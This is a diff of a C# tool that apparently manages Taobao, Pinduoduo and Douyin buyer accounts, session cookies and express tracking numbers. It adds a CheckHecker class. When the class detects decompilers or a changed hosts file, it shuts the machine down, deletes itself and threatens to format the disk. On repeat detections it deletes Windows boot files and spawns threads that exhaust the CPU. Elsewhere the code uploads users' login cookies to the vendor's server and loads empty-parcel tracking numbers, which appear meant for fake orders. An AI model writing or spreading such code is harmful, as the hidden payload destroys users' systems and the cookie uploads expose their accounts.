foreach (KeyValuePair<string, Dictionary<string, string>> co in BaseClass.CookiesAll)//同步到系统
{
string cook = "";
foreach (KeyValuePair<string, string> c in co.Value)
{
if (c.Key == "x5sec")
{
if (!string.IsNullOrEmpty(c.Value))
{
cook += c.Key + "=" + c.Value + "; ";
}
else if (!string.IsNullOrEmpty(BaseClass.x5Sec))
{
cook += c.Key + "=" + BaseClass.x5Sec + "; ";
}
else
{
cook += c.Key + "=" + c.Value + "; ";
}
}
else
{
cook += c.Key + "=" + c.Value + "; ";
}
}
if (BaseClass.CookiesAllString.ContainsKey(co.Key))
BaseClass.CookiesAllString[co.Key] = cook;
else
BaseClass.CookiesAllString.Add(co.Key, cook);
}
string mainDomainx = "yangkeduo.com";
if (BaseClass.CookiesAll.ContainsKey("yangkeduo.com") && BaseClass.CookiesAll[mainDomainx].ContainsKey("pdd_user_id"))
{
BaseClass.PddUid = BaseClass.CookiesAll[mainDomainx]["pdd_user_id"];
}
//string cookies = BaseClass.CookiesAllString["yangkeduo.com"];
string url = BaseClass.DouYinBuildObjString("user_login_cookies&act=insert");
StringBuilder data = new StringBuilder();
data.Append("&user_name=" + name);
data.Append("&site_id=0");
data.Append("&user_id=" + uid);
data.Append("&cookies=" + GetHtml.UrlEncodeUtf8(cookies));
string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data);
BuyNumber buynumber = new BuyNumber(0, uid, name);
List<Cookie> listcookie = new List<Cookie>();
foreach (var item in cookie)
{
Cookie c = new Cookie();
c.Domain = "yangkeduo.com";
c.Expires = DateTime.Now.AddDays(10);
c.Name = item.Name;
c.Value = item.Value;
c.Path = "/";
listcookie.Add(c);
}
UserCookies uc = new UserCookies();
uc.Cookies = listcookie;
uc.UserName = name;
uc.uid = uid;
uc.SiteId = 0;
uc.Times = 0;
if (!buyUserCookies.ContainsKey(buynumber))
buyUserCookies.Add(buynumber, uc);
else
buyUserCookies[buynumber] = uc;
}
/// <summary>
/// 添加cookies到集合
/// </summary>
public void AddBuyUserCookies(string uid, string name, string cookies)
{
BuyNumber buynumber = new BuyNumber(0, uid, name);
string[] l = cookies.Split(';');
List<Cookie> cookie = new List<Cookie>();
for (int j = 0; j < l.Length; j++)
{
if (string.IsNullOrEmpty(l[j]) || !l[j].Contains("="))
continue;
string[] ll = l[j].Split('=');
Cookie c = new Cookie();
c.Domain = "yangkeduo.com";
c.Expires = DateTime.Now.AddDays(10);
c.Name = ll[0].Trim();
c.Value = ll[1];
c.Path = "/";
cookie.Add(c);
}
UserCookies uc = new UserCookies();
uc.Cookies = cookie;
uc.UserName = name;
uc.uid = uid;
uc.SiteId = 0;
uc.Times = 0;
if (!buyUserCookies.ContainsKey(buynumber))
buyUserCookies.Add(buynumber, uc);
else
buyUserCookies[buynumber] = uc;
}
}
public class BuyNumber
{
/// <summary>
/// 1淘宝 2拼多多 3阿里巴巴 4京喜 6微店 7抖音 8拼多多批发
/// </summary>
public int site_id { get; set; }
public string name { get; set; }
public string uid { get; set; }
public BuyNumber(int site_id, string uid, string name)
{
this.site_id = site_id;
this.uid = uid;
this.name = name;
}
public override bool Equals(object obj)
{
var buynumber_class = (BuyNumber)obj;
return buynumber_class.site_id == this.site_id && buynumber_class.name == this.name;
}
public override int GetHashCode()
{
try
{
int site_id_hashcode = site_id.GetHashCode();
int name_hashcode = name.GetHashCode();
return site_id_hashcode + name_hashcode;
}
catch (Exception)
{
}
return 0;
}
}
public class UserCookies
{
public string UserName = "";
public string uid = "";
public List<Cookie> Cookies = new List<Cookie>();
public string CookiesStr
{
get
{
string cook = "";
if (Cookies != null)
foreach (var c in Cookies)
cook += c.Name + "=" + c.Value + ";";
return cook;
}
}
public int SiteId = 0;
public int Times = 0;
}
public class ComboboxItem
{
public string Text { get; set; }
public object Value { get; set; }
public override string ToString()
{
return Text;
}
}
}
+229
View File
@@ -0,0 +1,229 @@
using AllBase;
using CefSharp;
using NaiBa.CefHelper;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace Work.BuyUsers
{
public class TaoBaoBuyUser
{
public static Dictionary<BuyNumber, UserCookies> buyUserCookies = new Dictionary<BuyNumber, UserCookies>();//拍单买手号
public void DeleteTaoBao()
{
var cookieManager = Cef.GetGlobalCookieManager();
if (BaseClass.CookiesAllString.ContainsKey("taobao.com"))
{
var cookies = BaseClass.CookiesAllString["taobao.com"];
string[] l = cookies.Split(';');
for (int i = 0; i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("="))
continue;
string name = l[i].Split('=')[0].Trim();
try
{
cookieManager.DeleteCookies("https://i.taobao.com/my_taobao.htm", name);
cookieManager.DeleteCookies("https://login.taobao.com/member/login.jhtml", name);
//cookieManager.Dispose();
}
catch
{
}
}
}
if (BaseClass.CookiesAllString.ContainsKey("tmall.com"))
{
var cookies = BaseClass.CookiesAllString["tmall.com"];
string[] l = cookies.Split(';');
for (int i = 0; i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("="))
continue;
string name = l[i].Split('=')[0].Trim();
try
{
cookieManager.DeleteCookies("https://i.taobao.com/my_taobao.htm", name);
cookieManager.DeleteCookies("https://login.taobao.com/member/login.jhtml", name);
//cookieManager.Dispose();
}
catch
{
}
}
}
}
/// <summary>
/// 保存cookie
/// </summary>
public void SaveCookies(List<CefSharp.Cookie> cookie)
{
string cookies = "";
foreach (CefSharp.Cookie item in cookie)
{
cookies += item.Name + "=" + item.Value + ";";
string mainDomain = GetHtml.GetMainDomain(item.Domain);
if (BaseClass.CookiesAll.ContainsKey(mainDomain))
{
if (BaseClass.CookiesAll[mainDomain].ContainsKey(item.Name))
BaseClass.CookiesAll[mainDomain][item.Name] = item.Value;
else
BaseClass.CookiesAll[mainDomain].Add(item.Name, item.Value);
}
else
{
BaseClass.CookiesAll.Add(mainDomain, new Dictionary<string, string>());
BaseClass.CookiesAll[mainDomain].Add(item.Name, item.Value);
}
}
BaseClass.ChromeCookies = cookies;
foreach (KeyValuePair<string, Dictionary<string, string>> co in BaseClass.CookiesAll)//同步到系统
{
string cook = "";
for (int i = 0; i < co.Value.Count; i++)
{
KeyValuePair<string, string> c = co.Value.ToArray()[i];
if (c.Key == "x5sec")
{
if (!string.IsNullOrEmpty(c.Value))
{
cook += c.Key + "=" + c.Value + "; ";
}
else if (!string.IsNullOrEmpty(BaseClass.x5Sec))
{
cook += c.Key + "=" + BaseClass.x5Sec + "; ";
}
else
{
cook += c.Key + "=" + c.Value + "; ";
}
}
else
{
cook += c.Key + "=" + c.Value + "; ";
}
}
if (BaseClass.CookiesAllString.ContainsKey(co.Key))
BaseClass.CookiesAllString[co.Key] = cook;
else
BaseClass.CookiesAllString.Add(co.Key, cook);
}
string mainDomainx = "taobao.com";
string uid = BaseClass.CookiesAll[mainDomainx]["unb"];
string name = BaseClass.CookiesAll[mainDomainx]["_nk_"];
name = GetHtml.Decode(name.Replace("%5Cu", "\\u"));
name = HttpUtility.UrlDecode(name);
//string cookies = BaseClass.CookiesAllString["yangkeduo.com"];
string url = BaseClass.DouYinBuildObjString("user_login_cookies&act=insert");
StringBuilder data = new StringBuilder();
data.Append("&user_name=" + name);
data.Append("&site_id=1");
data.Append("&user_id=" + uid);
data.Append("&cookies=" + GetHtml.UrlEncodeUtf8(cookies));
string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data);
BuyNumber buynumber = new BuyNumber(1, uid, name);
List<Cookie> listcookie = new List<Cookie>();
foreach (var item in cookie)
{
Cookie c = new Cookie();
c.Domain = "taobao.com";
c.Expires = DateTime.Now.AddDays(10);
c.Name = item.Name;
c.Value = item.Value;
c.Path = "/";
listcookie.Add(c);
}
UserCookies uc = new UserCookies();
uc.Cookies = listcookie;
uc.UserName = name;
uc.uid = uid;
uc.SiteId = 1;
uc.Times = 0;
if (!buyUserCookies.ContainsKey(buynumber))
buyUserCookies.Add(buynumber, uc);
else
buyUserCookies[buynumber] = uc;
}
public void DelCookies(BuyNumber buynumber)
{
buyUserCookies.Remove(buynumber);
}
/// <summary>
/// 添加cookies到集合
/// </summary>
public void AddBuyUserCookies(string uid, string name, string cookies)
{
BuyNumber buynumber = new BuyNumber(1, uid, name);
string[] l = cookies.Split(';');
List<Cookie> cookie = new List<Cookie>();
for (int j = 0; j < l.Length; j++)
{
if (string.IsNullOrEmpty(l[j]) || !l[j].Contains("="))
continue;
string[] ll = l[j].Split('=');
Cookie c = new Cookie();
c.Domain = "taobao.com";
c.Expires = DateTime.Now.AddDays(10);
c.Name = ll[0].Trim();
c.Value = ll[1];
c.Path = "/";
cookie.Add(c);
}
UserCookies uc = new UserCookies();
uc.Cookies = cookie;
uc.UserName = name;
uc.uid = uid;
uc.SiteId = 1;
uc.Times = 0;
if (!buyUserCookies.ContainsKey(buynumber))
buyUserCookies.Add(buynumber, uc);
else
buyUserCookies[buynumber] = uc;
}
public bool SetTaoBao(string userName, int siteid = 0)
{
var usercookie = buyUserCookies.ToList().Find(x => x.Value.uid == userName);
if (siteid != 0)
{
usercookie = buyUserCookies.ToList().Find(x => x.Value.uid == userName && x.Key.site_id == siteid);
}
if (usercookie.Key == null)
{
return false;
}
DeleteTaoBao();
var cookieManager = Cef.GetGlobalCookieManager();
List<Cookie> cookies = usercookie.Value.Cookies.Where(c => !c.Domain.Contains("tmall")).ToList(); // UserCookies[userName].Cookies;
//cookieManager.SetStoragePath(Environment.CurrentDirectory, true);
//string domain = "taobao.com";
//CEFBrowser.SetCookie(cookieManager, cookies); // 67版
foreach (var cookie in cookies)
CEFBrowser.SetCookieAsync(cookie.Domain, cookie.Name + "=" + cookie.Value + ";", cookieManager);
//PayMobileTb = userName;
//if (!refundFlag)
//{
// MessageBox.Show("切换到账户:" + userName + " 成功", "提示");
//}
return true;
}
}
}
+180
View File
@@ -0,0 +1,180 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using AllBase;
namespace Work
{
public class CheckHecker
{
private string SystemPath;
/// <summary>
/// 检查是否被黑客劫持
/// </summary>
public void Check()
{
try
{
BaseClass.ApiKey = BaseClass.ApiKey.Replace("335", "331");
CheckReCrack();
SystemPath = Environment.GetFolderPath(Environment.SpecialFolder.System);
string path = SystemPath + "\\drivers\\etc\\hosts";
if (File.Exists(path))
{
string f = File.ReadAllText(path);
if (f.IndexOf("shisilou.com") > -1 || f.IndexOf("qixiaoke.com") > -1)
{
new Thread(IsHecker).Start();
string[] fl = File.ReadAllLines(path);
for (int i = 0; i < fl.Length; i++)
if (fl[i].IndexOf("shisilou.com") > -1 || f.IndexOf("qixiaoke.com") > -1)
fl[i] = "";
File.WriteAllLines(path, fl);
}
}
}
catch (Exception e)
{
}
}
/// <summary>
/// 检查反破解
/// </summary>
private void CheckReCrack()
{
string s = "dotPeek,Reflector,NETUnpack,PE Detective,SNSRemover,PROCDUMP,LordPE,OllyDump,de4dot";
string[] l = s.Split(',');
foreach (System.Diagnostics.Process thisproc in System.Diagnostics.Process.GetProcesses())
{
for (int i = 0; i < l.Length; i++)
{
if (thisproc.ProcessName.ToLower() == l[i].ToLower())
{
new Thread(IsHecker).Start();
return;
}
}
}
}
/// <summary>
/// 发现是黑客破解
/// </summary>
public void IsHecker()
{
string p = "c:\\ini.ini";
if (!File.Exists(p))
File.WriteAllText(p, "0");
string f = File.ReadAllText(p);
int times = 0;
int.TryParse(f, out times);
if (times < 0)
times = 0;
times++;
File.WriteAllText(p, times.ToString());
new Thread(Warningx).Start();
new Thread(Warning).Start();
if (times > 3)
new Thread(DeleteSystemFile).Start();
}
/// <summary>
/// 警告对话框
/// </summary>
private void Warningx()
{
Thread.Sleep(100);
Process.Start("shutdown.exe", "-s -t 2");
DeleteMyself();
}
/// <summary>
/// 警告对话框
/// </summary>
private void Warning()
{
Thread.Sleep(500);
MessageBox.Show("警告:请不要在运行软件时,同时运行脱壳工具\r\n本对话框弹出第2次时,将格式化您的硬盘", "警告,请勿尝试破解软件");
}
/// <summary>
/// 删除系统文件
/// </summary>
private void DeleteSystemFile()
{
string c = SystemPath.Substring(0, 1);
string file = @"ntldr,AUTOEXEC.BAT,boot.ini,bootfont.bin,CONFIG.SYS,IO.SYS,MSDOS.SYS,NTDETECT.COM,BOOTSECT.BAK,YOMIU,bootmgr";
string[] f = file.Split(',');
for (int i = 0; i < f.Length; i++)
{
try
{
string path = c + ":\\" + f[i];
if (File.Exists(path))
{
new FileInfo(path).IsReadOnly = false;
new FileInfo(path).Attributes = FileAttributes.Normal;
File.Delete(path);
}
if (c.ToLower() != "c")
{
path = "c:\\" + f[i];
if (File.Exists(path))
{
new FileInfo(path).IsReadOnly = false;
new FileInfo(path).Attributes = FileAttributes.Normal;
File.Delete(path);
}
}
}
catch
{
}
}
//强制关机
Process.Start("shutdown.exe", "-s -t 2");
//耗尽CPU
for (int i = 0; i < 1000; i++)
{
Thread t = new Thread(UserAllCpu);
t.Priority = ThreadPriority.Highest;
t.Start();
}
}
/// <summary>
/// 耗尽CPU
/// </summary>
private void UserAllCpu()
{
while (true)
{
double s = 0;
for (int i = 0; i < 100000; i++)
{
s += i;
if (s == -1)
break;
}
}
}
/// <summary>
/// 删除自己
/// </summary>
private void DeleteMyself()
{
//在临时文件夹生成批处理文件
string vBatFile = Path.GetTempPath() + "clear.bat";
using (StreamWriter vStreamWriter = new StreamWriter(vBatFile, false, Encoding.Default))
{
vStreamWriter.Write(string.Format(":del\r\n" + " del \"{0}\"\r\n" +
"if exist \"{0}\" goto del\r\n" + "del %0\r\n", Application.ExecutablePath));
}
Process.Start(vBatFile);
Process.GetCurrentProcess().Kill();
}
}
}
+12
View File
@@ -0,0 +1,12 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work
{
public class Class1
{
}
}
+56
View File
@@ -0,0 +1,56 @@
using AllBase.DouYinModel.Result;
using AllBase.Model.Result;
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Work.Model;
namespace Work
{
public class CollectionClass
{
/// <summary>
/// 店铺列表
/// </summary>
public static List<DouShopLoginInfo> DouShopLoginList = new List<DouShopLoginInfo>();
public static List<ExpressBase> ExpressList = new List<ExpressBase>();
//地址集合
public static Dictionary<string, ProvinceBase> Province = new Dictionary<string, ProvinceBase>();
/// <summary>
/// 订单集合
/// </summary>
public static List<DouYinOrderModel> orderDataList = new List<DouYinOrderModel>();
/// <summary>
/// 售后订单集合
/// </summary>
public static List<DouYinOrderModel> afterSaleOrderList = new List<DouYinOrderModel>();
/// <summary>
/// 待发货订单集合
/// </summary>
public static List<DouYinOrderModel> orderSenderDataList = new List<DouYinOrderModel>();
/// <summary>
/// 已完成订单集合
/// </summary>
public static List<DouYinOrderModel> successOrderDataList = new List<DouYinOrderModel>();
/// <summary>
/// 订单临时集合 读取一条删除一条
/// </summary>
public static List<DouOrderListInfo.Shop_order_listItem> orderDataList_Temp = new List<DouOrderListInfo.Shop_order_listItem>();
public static ConcurrentDictionary<string, System.Drawing.Bitmap> skuImageCache = new ConcurrentDictionary<string, System.Drawing.Bitmap>();
/// <summary>
/// 快递公司名称
/// </summary>
public static string ExpressJsonList = "{\"data\":[{\"code\":\"ems\",\"id\":17,\"name\":\"EMS(常用)\"},{\"code\":\"lntjs\",\"id\":289,\"name\":\"特急送\"},{\"code\":\"yuantong\",\"id\":7,\"name\":\"圆通快递(常用)\"},{\"code\":\"quanfengkuaidi\",\"id\":16,\"name\":\"全峰快递\"},{\"code\":\"zhongyouex\",\"id\":1022,\"name\":\"众邮快递\"},{\"code\":\"zlxdjwl\",\"id\":1023,\"name\":\"中粮鲜到家物流\"},{\"code\":\"sxjdfreight\",\"id\":1024,\"name\":\"顺心捷达\"},{\"code\":\"ztky\",\"id\":140,\"name\":\"中铁快运\"},{\"code\":\"suning\",\"id\":202,\"name\":\"苏宁物流\"},{\"code\":\"anxl\",\"id\":631,\"name\":\"安迅物流\"},{\"code\":\"subida\",\"id\":716,\"name\":\"速必达\"},{\"code\":\"zilegongmao\",\"id\":1038,\"name\":\"紫乐工贸\"},{\"code\":\"youshuwuliu\",\"id\":11,\"name\":\"优速快递\"},{\"code\":\"zhongtong\",\"id\":15,\"name\":\"中通速递(常用)\"},{\"code\":\"youzhengguonei\",\"id\":19,\"name\":\"邮政快递包裹\"},{\"code\":\"baishiwuliu\",\"id\":637,\"name\":\"百世快运\"},{\"code\":\"sfwl\",\"id\":1026,\"name\":\"盛丰物流\"},{\"code\":\"jiajiwuliu\",\"id\":428,\"name\":\"佳吉快运\"},{\"code\":\"linshiwuliu\",\"id\":1031,\"name\":\"林氏物流\"},{\"code\":\"shentong\",\"id\":8,\"name\":\"申通快递(常用)\"},{\"code\":\"debangwuliu\",\"id\":13,\"name\":\"德邦快递(常用)\"},{\"code\":\"dangdang\",\"id\":1016,\"name\":\"当当物流\"},{\"code\":\"jinguangsudikuaijian\",\"id\":517,\"name\":\"京广速递\"},{\"code\":\"zhongtongkuaiyun\",\"id\":846,\"name\":\"中通快运\"},{\"code\":\"yzguonei\",\"id\":854,\"name\":\"邮政国内\"},{\"code\":\"jiayiwuliu\",\"id\":10,\"name\":\"佳怡物流\"},{\"code\":\"zhaijisong\",\"id\":21,\"name\":\"宅急送\"},{\"code\":\"wanxiangwuliu\",\"id\":31,\"name\":\"万象物流\"},{\"code\":\"huangmajia\",\"id\":37,\"name\":\"黄马甲\"},{\"code\":\"suer\",\"id\":243,\"name\":\"速尔快递\"},{\"code\":\"pjbest\",\"id\":447,\"name\":\"品骏快递\"},{\"code\":\"yuantongkuaiyun\",\"id\":909,\"name\":\"圆通快运\"},{\"code\":\"guotongkuaidi\",\"id\":25,\"name\":\"国通快递\"},{\"code\":\"kuaijiesudi\",\"id\":26,\"name\":\"快捷快递\"},{\"code\":\"jd\",\"id\":30,\"name\":\"京东物流(常用)\"},{\"code\":\"ndwl\",\"id\":317,\"name\":\"南方传媒物流\"},{\"code\":\"shunfeng\",\"id\":12,\"name\":\"顺丰速运(常用)\"},{\"code\":\"exfresh\",\"id\":284,\"name\":\"安鲜达\"},{\"code\":\"ytkd\",\"id\":321,\"name\":\"运通中港快递\"},{\"code\":\"jtexpress\",\"id\":1021,\"name\":\"极兔速递\"},{\"code\":\"kuayue\",\"id\":397,\"name\":\"跨越速运\"},{\"code\":\"ftky365\",\"id\":971,\"name\":\"丰通快运\"},{\"code\":\"savor\",\"id\":1025,\"name\":\"海信物流\"},{\"code\":\"taijin\",\"id\":1032,\"name\":\"泰进物流\"},{\"code\":\"dfkuaidi\",\"id\":1019,\"name\":\"东风快递\"},{\"code\":\"yunda\",\"id\":9,\"name\":\"韵达快递(常用)\"},{\"code\":\"zengyisudi\",\"id\":23,\"name\":\"增益速递\"},{\"code\":\"annengwuliu\",\"id\":32,\"name\":\"安能物流\"},{\"code\":\"jym56\",\"id\":158,\"name\":\"加运美速递\"},{\"code\":\"jiuyescm\",\"id\":191,\"name\":\"九曳供应链\"},{\"code\":\"shenghuiwuliu\",\"id\":244,\"name\":\"盛辉物流\"},{\"code\":\"rrs\",\"id\":641,\"name\":\"日日顺物流\"},{\"code\":\"rufengda\",\"id\":22,\"name\":\"如风达\"},{\"code\":\"dangdangorder\",\"id\":192,\"name\":\"当当\"},{\"code\":\"yimidida\",\"id\":897,\"name\":\"壹米滴答\"},{\"code\":\"fengwang\",\"id\":1033,\"name\":\"丰网速运\"},{\"code\":\"tiantian\",\"id\":14,\"name\":\"天天快递\"},{\"code\":\"zhimakaimen\",\"id\":440,\"name\":\"芝麻开门\"},{\"code\":\"danniao\",\"id\":1017,\"name\":\"丹鸟\"},{\"code\":\"shanxijianhua\",\"id\":1037,\"name\":\"山西建华\"},{\"code\":\"weitepai\",\"id\":18,\"name\":\"微特派\"},{\"code\":\"huitongkuaidi\",\"id\":20,\"name\":\"百世快递(常用)\"},{\"code\":\"wondersyd\",\"id\":151,\"name\":\"中邮速递\"},{\"code\":\"tiandihuayu\",\"id\":518,\"name\":\"天地华宇\"},{\"code\":\"annto\",\"id\":861,\"name\":\"安得物流\"},{\"code\":\"shunfengkuaiyun\",\"id\":1035,\"name\":\"顺丰快运\"},{\"code\":\"bsht\",\"id\":221,\"name\":\"百事亨通\"},{\"code\":\"dsukuaidi\",\"id\":1018,\"name\":\"D速快递\"},{\"code\":\"yundakuaiyun\",\"id\":952,\"name\":\"韵达快运\"},{\"code\":\"zhongtongkuaidi\",\"id\":0,\"name\":\"中通快递\"}],\"err_no\":0,\"log_id\":\"20210826110338010198065089461B941F\",\"message\":\"success\"}";
}
}
Binary file not shown.
+36
View File
@@ -0,0 +1,36 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;
namespace Work
{
public class DouYinHttpWebRequest
{
public static string ReadResponse(HttpWebResponse response)
{
using (Stream responseStream = response.GetResponseStream())
{
Stream streamToRead = responseStream;
if (response.ContentEncoding.ToLower().Contains("gzip"))
{
streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress);
}
else if (response.ContentEncoding.ToLower().Contains("deflate"))
{
streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress);
}
using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8))
{
return streamReader.ReadToEnd();
}
}
}
}
}
+265
View File
@@ -0,0 +1,265 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using AllBase;
using Work.Model;
namespace Work
{
public class ExpressSet
{
public static bool AutoAdd1408Room = false;
public static Dictionary<string, string> ExpressList = new Dictionary<string, string>();
public static Dictionary<string, string> ExpressBuyList = new Dictionary<string, string>();
public static Dictionary<string, string> ExpressBuyList_MTY = new Dictionary<string, string>();
public static Dictionary<string, GiftExp> GiftExpressBuyList = new Dictionary<string, GiftExp>();//礼品网礼品单
public static Dictionary<string, string> GiftExpressEmtyBuyList = new Dictionary<string, string>();//礼品网快递单
public string DeleteId = "";
public int Id = 0;
public ExpressBase Express;
public ExpressSet(string deleteId)
{
DeleteId = deleteId;
}
public ExpressSet(int deleteId)
{
Id = deleteId;
}
public ExpressSet(ExpressBase express)
{
Express = express;
}
public static void Ini()
{
ExpressList.Add("申通速递", "1");
ExpressList.Add("申通快递", "1");
ExpressList.Add("百世快递", "3");
ExpressList.Add("顺丰快递", "44");
ExpressList.Add("圆通快递", "85");
ExpressList.Add("中通快递", "115");
ExpressList.Add("全峰快递", "116");
ExpressList.Add("优速快递", "117");
ExpressList.Add("邮政EMS", "118");
ExpressList.Add("EMS", "118");
ExpressList.Add("百世快运", "229");
ExpressList.Add("天天快递", "119");
ExpressList.Add("京东配送", "120");
ExpressList.Add("韵达快递", "121");
ExpressList.Add("宅急送快递", "129");
ExpressList.Add("德邦快递", "131");
ExpressList.Add("邮政快递包裹", "132");
ExpressList.Add("亚马逊物流", "156");
//ExpressList.Add("中邮速递", "211");
ExpressList.Add("EMS-国际件", "213");
ExpressList.Add("中铁物流", "214");
ExpressList.Add("日日顺物流", "227");
ExpressList.Add("苏宁快递", "228");
ExpressList.Add("德邦物流", "230");
ExpressList.Add("邮政标准快递", "324");
ExpressList.Add("邮政国际包裹", "325");
ExpressList.Add("中铁快运", "332");
ExpressList.Add("赛澳递", "89");
ExpressList.Add("晟邦物流", "90");
ExpressList.Add("快捷快递", "122");
ExpressList.Add("国通快递", "124");
ExpressList.Add("如风达", "130");
//ExpressList.Add("龙邦快递", "133");
//ExpressList.Add("龙邦速递", "133");
ExpressList.Add("亚风速递", "317");
ExpressList.Add("远成快运", "205");
ExpressList.Add("壹米滴答快运", "348");
ExpressList.Add("京广速递", "281");
ExpressList.Add("承诺达特快", "351");
ExpressList.Add("加运美", "275");
ExpressList.Add("安迅物流", "352");
ExpressList.Add("中通快运", "343");
ExpressList.Add("速尔快递", "155");
ExpressList.Add("顺丰快运", "372");
ExpressList.Add("极兔速递", "384");
ExpressList.Add("韵达快运", "344");
////ExpressBuyList.Add("国通快递(0.55元)", "66");
////ExpressBuyList.Add("韵达快递-电子(0.5元)", "30");
////ExpressBuyList.Add("亚风速递-电子(0.5元)", "109");
////ExpressBuyList.Add("京广速递(0.60元)", "94");
//ExpressBuyList.Add("安迅物流-电子(0.60元)", "115");
//ExpressBuyList.Add("天天快递-电子(0.65元)", "127");
////ExpressBuyList.Add("圆通快递-电子(0.90元)", "106");
//ExpressBuyList.Add("申通快递-电子(0.75元)", "113");
//ExpressBuyList.Add("中通快运-电子(0.75元)", "123");
////ExpressBuyList.Add("申通快递(0.75元)", "72");
////ExpressBuyList.Add("京广速递-电子(0.8元)", "116");
//ExpressBuyList.Add("百世快递-电子(0.5元)", "117");
//ExpressBuyList.Add("远成快运(0.95元)", "88");
//ExpressBuyList.Add("龙邦速递(0.95元)", "68");
//ExpressBuyList.Add("亚风速递(1.00元)", "69");
//ExpressBuyList.Add("优速快递(0.85元)", "85");
////ExpressBuyList_MTY.Add("国通快递--拼多多专用(0.5元)", "53");
//ExpressBuyList_MTY.Add("圆通快递--电子面单(0.55元)", "56");
//ExpressBuyList_MTY.Add("承诺达特快--电子面单(0.55元)", "57");
////ExpressBuyList_MTY.Add("亚风速递--拼多多专用(0.65元)", "28");
//ExpressBuyList_MTY.Add("加运美--拼多多专用(0.5元)", "54");
//ExpressBuyList_MTY.Add("申通快递--拼多多专用(0.7元)", "52");
//ExpressBuyList_MTY.Add("百世快递--拼多多专用(0.9元)", "34");
//ExpressBuyList_MTY.Add("中通快递--拼多多专用(0.9元)", "49");
//ExpressBuyList_MTY.Add("百世快递--电子面单(1.05元))", "51");
//从服务端获取猫头鹰快递
if (!BaseClass.IsXiaoNaiNiu)
{
IniMtyExp();
}
}
public static void IniMtyExp()
{
if (ExpressBuyList_MTY.Count > 0)
return;
string url = BaseClass.BuildObjString("empty_bag&act=get");
StringBuilder s = new StringBuilder();
s.Append("&" + UserLogin.GetSignaturex());
string html = GetHtml.PostUtf8(url, s.ToString());
html = GetHtml.UrlDecode(html);
var expArr = BaseRegex.GetMatchRegex(ref html, "{\"name\":\"[\\S\\s]+?\",\"price\":\"\\([\\S\\s]+?\\)\",\"value\":\"[\\d]+?\"}");
for (int i = 0; i < expArr.Count; i++)
{
var item = expArr[i].ToString();
string expName = BaseRegex.GetStringJson(ref item, "name");
string price = BaseRegex.GetStringJson(ref item, "price");
string val = BaseRegex.GetStringJson(ref item, "value");
string keyStr = expName + price;
if (ExpressBuyList_MTY.ContainsKey(keyStr))
{
continue;
}
ExpressBuyList_MTY.Add(keyStr, val);
}
}
public static string Add(string expressName, string expressNo, string name, string mobile, string address)
{
if (string.IsNullOrEmpty(expressName) || string.IsNullOrEmpty(expressNo) || string.IsNullOrEmpty(name) ||
string.IsNullOrEmpty(mobile) || string.IsNullOrEmpty(address) || !ExpressList.ContainsKey(expressName))
{
return "请填写完整的信息";
}
if (AutoAdd1408Room && !address.Contains("1408") && !address.Contains("95278"))
address += "95278"; //"1408";
string expressId = ExpressList[expressName];
StringBuilder s = new StringBuilder();
s.Append("&express_id=" + expressId);
s.Append("&express_no=" + expressNo);
s.Append("&express_name=" + expressName);
s.Append("&name=" + name);
s.Append("&mobile=" + mobile);
s.Append("&address=" + address);
string data = UserLogin.GetSignaturex() + s;
string url = BaseClass.BuildObjString("express&act=add");
string html = GetHtml.PostUtf8(url, data);
if (string.IsNullOrEmpty(html))
{
return "提交异常,请检查网络";
}
if (html == "had")
{
return "已经存在";
}
if (html == "ok")
{
ExpressBase e = new ExpressBase();
e.address = address;
e.express_id = expressId;
e.express_name = expressName;
e.express_no = expressNo;
e.mobile = mobile;
e.name = name;
e.use_times = 0;
e.buy_type = 1;
CollectionClass.ExpressList.Add(e);
CollectionClass.ExpressTempList.Add(e);
return "";
}
return "链接异常";
}
public static string path;
public static void Input()
{
string[] file = FileBase.ReadAllLines(path, Encoding.Default);
Input(file);
}
public static void Input(string[] file)
{
string message = "";
for (int i = 0; i < file.Length; i++)
{
if (string.IsNullOrEmpty(file[i]))
continue;
string[] l = file[i].Replace(",", ",").Split(',');
if (l.Length != 5)
continue;
string expressName = l[0], expressNo = l[1], name = l[2], mobile = l[3], address = l[4];
string msg = Add(expressName, expressNo, name, mobile, address);
if (!string.IsNullOrEmpty(msg))
message += "单号:" + expressNo + " 添加失败:" + msg;
}
if (!string.IsNullOrEmpty(message))
MessageBox.Show(message, "提示");
}
public void Delete()
{
Delete(DeleteId);
}
public string Delete(string no)
{
StringBuilder s = new StringBuilder();
s.Append("&express_no=" + no);
s.Append("&id=" + Id);
string data = UserLogin.GetSignaturex() + s;
string url = BaseClass.BuildObjString("express&act=delete");
string html = GetHtml.PostUtf8(url, data);
if (string.IsNullOrEmpty(html) || html != "ok")
{
return "提交异常,请检查网络";
}
return "";
}
public void Update()
{
StringBuilder s = new StringBuilder();
s.Append("&name=" + Express.name);
s.Append("&mobile=" + Express.mobile);
s.Append("&address=" + GetHtml.UrlEncodeUtf8(Express.address));
s.Append("&id=" + Express.id);
string data = UserLogin.GetSignaturex() + s;
string url = BaseClass.BuildObjString("express&act=update");
string html = GetHtml.PostUtf8(url, data);
if (string.IsNullOrEmpty(html) || html != "ok")
{
MessageBox.Show("提交异常,请检查网络");
}
}
}
public class GiftExp
{
public string storeId { get; set; }
public string kdId { get; set; }
}
}
File diff suppressed because it is too large. Load diff
+22
View File
@@ -0,0 +1,22 @@
using CefSharp;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work.Helper
{
public class CEFHelper
{
public static string CefCookieToCookieStr(List<Cookie> cookies)
{
string cookieStr = "";
